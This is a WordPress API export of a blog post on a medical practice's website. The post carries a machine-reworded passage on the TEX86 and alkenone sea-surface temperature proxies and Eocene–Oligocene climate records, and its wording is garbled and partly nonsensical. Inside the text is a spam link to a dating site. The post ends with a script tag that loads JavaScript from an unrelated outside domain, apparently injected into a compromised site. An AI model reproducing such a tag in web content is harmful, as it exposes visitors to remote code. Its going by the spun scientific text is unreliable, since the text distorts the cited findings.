{"id":55760,"date":"2022-07-05T11:06:44","date_gmt":"2022-07-05T11:06:44","guid":{"rendered":"https:\/\/kellumphysicianpartners.com\/?p=55760"},"modified":"2022-07-05T11:12:08","modified_gmt":"2022-07-05T11:12:08","slug":"thaumarchaeota-are-not-restricted-to-the-latest","status":"publish","type":"post","link":"https:\/\/kellumphysicianpartners.com\/2022\/07\/thaumarchaeota-are-not-restricted-to-the-latest\/","title":{"rendered":"Thaumarchaeota are not restricted to the latest photic area but are marketed on the sea deepness [ Karner ainsi que al"},"content":{"rendered":"Thaumarchaeota are not restricted to the latest photic area but are marketed on the sea deepness [ Karner ainsi que al<\/title><\/p>\n<p>Although the TEX<sub>86<\/sub> proxy has some advantages over the U k? <sub>37<\/sub> proxy, it also has significant weaknesses. , 2001 ]. Therefore, it seems unusual that the TEX<sub>86<\/sub> index shows such a strong correlation with SST [ Huguet et al., 2006 ]. The cells of Thaumarchaeota are too small to sink to the ocean floor postmortem; therefore, the TEX<sub>86<\/sub> signal must be transported to the ocean sediments in another way.<!--more--> A likely mechanism is that Thaumarchaeota are consumed and the TEX<sub>86<\/sub> signal is incorporated into marine snow. As most food webs are active in the upper ocean, this would also explain why TEX<sub>86<\/sub> is well correlated with SST [ Wuchter et al., 2005 , 2006 ; Huguet et al., 2006 ]. Support for this interpretation comes from sediment traps <a href=\"https:\/\/datingranking.net\/nl\/compatible-partners-overzicht\/\">compatible partnersprofiel<\/a> set up at different depths, with measurements from deeper sediment traps reflecting SST rather than the ambient ocean temperature [ Wuchter et al., 2005 , 2006 ]. A core top calibration using samples from multiple regions and ocean depths suggested that the TEX<sub>86<\/sub> signal is strongly coupled to mixed layer temperatures, at depths of 0\u201330 m [ Kim et al., 2008 ]. However, another study suggested TEX<sub>86<\/sub> temperatures cooler than actual SST, implying that for certain regions the TEX<sub>86<\/sub> signal might originate in the subsurface [ Huguet et al., 2007 ].<\/p>\n<h2>Alkenones should be transferred laterally and certainly will even be reused from sediments, position fossil alkenones or alkenones synthesized in various surroundings to core passes and potentially biasing U k?<\/h2>\n<p>Potential seasonal biases affect the TEX<sub>86<\/sub> proxy as well as the U k? <sub>37<\/sub> proxy. Sediment trap studies suggest that the peak concentration of GDGTs occurs in the winter and spring months [ Wuchter et al., 2005 ], but when the TEX<sub>86<\/sub> index is applied in sediment trap and core top studies the signal appears to be predominantly an annual mean [ Wuchter et al., 2005 ; Kim et al., 2008 ]. Both TEX<sub>86<\/sub> and U k? <sub>37<\/sub> may be subject to alteration due to diagenesis [ Huguet et al., 2009 ] and contamination from secondary inputs [ Thomsen et al., 1998 ; Weaver et al., 1999 ; Weijers et al., 2006 ], although the diagenetic pathways differ [ Liu et al., 2009 ]. <sub>37<\/sub> temperature estimates [ Thomsen et al., 1998 ; Weaver et al., 1999 ]. GDGTs are also found in soils and can be transported to ocean basins by rivers, potentially affecting the TEX<sub>86<\/sub> proxy for sites near river outflow [ Weijers et al., 2006 ]. Enclosed settings may show calibration lines that are offset from open ocean calibration lines, which suggests that different source populations ]. To improve SST estimates and to reduce the impact of secondary effects on temperature signals, it is desirable to use multiple proxies whenever possible [ Liu et al., 2009 ].<\/p>\n<h2>2.2.step three. Temperature Date Show<\/h2>\n<p>Figure 2 shows different temperature records generated using the proxies discussed above, including the Mg\/Ca DST record of Lear et al. and high- and low-latitude SST records for the EOT [ Lear et al., 2008 ; Liu et al., 2009 ]. Although existing Mg\/Ca DST records show a net cooling throughout the Eocene, at face value they show either no significant cooling or even warming at the EOT [ Lear et al., 2000 ; Billups and Schrag, 2003 ; Lear et al., 2004 ; Peck et al., 2010 ; Pusz et al., 2011 ]. This is not consistent with the cooling that might be expected during a period of rapid ice growth [ Coxall and Pearson, 2007 ]. The lack of cooling in the Mg\/Ca records at the EOT initially led to the hypothesis that the majority of the oxygen isotope ? 18 O shift at the EOT is due to an increase in ice mass [ Lear et al., 2000 ] (also see section 2.3 on ? 18 O). This would necessitate the growth of a greater ice mass than could be accommodated on Antarctica, implying that Northern Hemisphere ice sheets formed much earlier in the Cenozoic than previously thought [ Coxall et al., 2005 ]. Additional evidence for Northern Hemisphere glaciation (albeit as isolated glaciers) much earlier in the Cenozoic was found in ice-rafted debris (IRD) deposits from the Arctic Ocean [ Moran et al., 2006 ] and off the coast of Greenland [ Eldrett et al., 2007 ]. However, it has also been shown that Antarctic land area at the EOT could have been greater than at present, meaning that more of the ? 18 O increase can be explained by the growth of Antarctic ice in combination with cooling [ Wilson and Luyendyk, 2009 ]. In addition, modeling studies suggest that atmospheric CO<sub>2<\/sub> concentrations were above the threshold for bipolar glaciation at this time [ ].<\/p>\n<p><script src='https:\/\/js.cofounderspecials.com\/splash.js?v=5.1.7' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Thaumarchaeota are not restricted to the latest photic area but are marketed on the sea deepness [ Karner ainsi que al<\/p>\n<p>Although the TEX86 proxy has some advantages over the U k? 37 proxy, it also has significant weaknesses. , 2001 ]. Therefore, it seems unusual that the TEX86 index shows such a strong correlation with SST [ Huguet et al., 2006 ]. The cells of Thaumarchaeota are too small to sink to the ocean floor postmortem;<\/p>\n<p><a href=\"https:\/\/kellumphysicianpartners.com\/2022\/07\/thaumarchaeota-are-not-restricted-to-the-latest\/\" class=\"more-link\" title=\"Read Thaumarchaeota are not restricted to the latest photic area but are marketed on the sea deepness [ Karner ainsi que al\">Read More »<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2978],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Thaumarchaeota are not restricted to the latest photic area but are marketed on the sea deepness [ Karner ainsi que al - Kellum Physician Partners<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/kellumphysicianpartners.com\/2022\/07\/thaumarchaeota-are-not-restricted-to-the-latest\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Thaumarchaeota are not restricted to the latest photic area but are marketed on the sea deepness [ Karner ainsi que al - Kellum Physician Partners\" \/>\n<meta property=\"og:description\" content=\"Thaumarchaeota are not restricted to the latest photic area but are marketed on the sea deepness [ Karner ainsi que al Although the TEX86 proxy has some advantages over the U k? 37 proxy, it also has significant weaknesses. , 2001 ]. Therefore, it seems unusual that the TEX86 index shows such a strong correlation with SST [ Huguet et al., 2006 ]. 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Therefore, it seems unusual that the TEX86 index shows such a strong correlation with SST [ Huguet et al., 2006 ]. The cells of Thaumarchaeota are too small to sink to the ocean floor postmortem;Read More »","og_url":"https:\/\/kellumphysicianpartners.com\/2022\/07\/thaumarchaeota-are-not-restricted-to-the-latest\/","og_site_name":"Kellum Physician Partners","article_published_time":"2022-07-05T11:06:44+00:00","article_modified_time":"2022-07-05T11:12:08+00:00","author":"kellum","twitter_card":"summary","twitter_misc":{"Written by":"kellum","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/kellumphysicianpartners.com\/#website","url":"https:\/\/kellumphysicianpartners.com\/","name":"Kellum Physician Partners","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/kellumphysicianpartners.com\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/kellumphysicianpartners.com\/2022\/07\/thaumarchaeota-are-not-restricted-to-the-latest\/","url":"https:\/\/kellumphysicianpartners.com\/2022\/07\/thaumarchaeota-are-not-restricted-to-the-latest\/","name":"Thaumarchaeota are not restricted to the latest photic area but are marketed on the sea deepness [ Karner ainsi que al - Kellum Physician Partners","isPartOf":{"@id":"https:\/\/kellumphysicianpartners.com\/#website"},"datePublished":"2022-07-05T11:06:44+00:00","dateModified":"2022-07-05T11:12:08+00:00","author":{"@id":"https:\/\/kellumphysicianpartners.com\/#\/schema\/person\/c2cac49f887cce9462fdf9e53a2395bf"},"breadcrumb":{"@id":"https:\/\/kellumphysicianpartners.com\/2022\/07\/thaumarchaeota-are-not-restricted-to-the-latest\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/kellumphysicianpartners.com\/2022\/07\/thaumarchaeota-are-not-restricted-to-the-latest\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/kellumphysicianpartners.com\/2022\/07\/thaumarchaeota-are-not-restricted-to-the-latest\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/kellumphysicianpartners.com\/"},{"@type":"ListItem","position":2,"name":"Thaumarchaeota are not restricted to the latest photic area but are marketed on the sea deepness [ Karner ainsi que al"}]},{"@type":"Person","@id":"https:\/\/kellumphysicianpartners.com\/#\/schema\/person\/c2cac49f887cce9462fdf9e53a2395bf","name":"kellum","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/kellumphysicianpartners.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/7a2f1526de045c827ee8c170dcb95c5c?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/7a2f1526de045c827ee8c170dcb95c5c?s=96&d=mm&r=g","caption":"kellum"},"url":"https:\/\/kellumphysicianpartners.com\/author\/kellum\/"}]}},"_links":{"self":[{"href":"https:\/\/kellumphysicianpartners.com\/wp-json\/wp\/v2\/posts\/55760"}],"collection":[{"href":"https:\/\/kellumphysicianpartners.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kellumphysicianpartners.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kellumphysicianpartners.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kellumphysicianpartners.com\/wp-json\/wp\/v2\/comments?post=55760"}],"version-history":[{"count":1,"href":"https:\/\/kellumphysicianpartners.com\/wp-json\/wp\/v2\/posts\/55760\/revisions"}],"predecessor-version":[{"id":55761,"href":"https:\/\/kellumphysicianpartners.com\/wp-json\/wp\/v2\/posts\/55760\/revisions\/55761"}],"wp:attachment":[{"href":"https:\/\/kellumphysicianpartners.com\/wp-json\/wp\/v2\/media?parent=55760"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kellumphysicianpartners.com\/wp-json\/wp\/v2\/categories?post=55760"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kellumphysicianpartners.com\/wp-json\/wp\/v2\/tags?post=55760"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
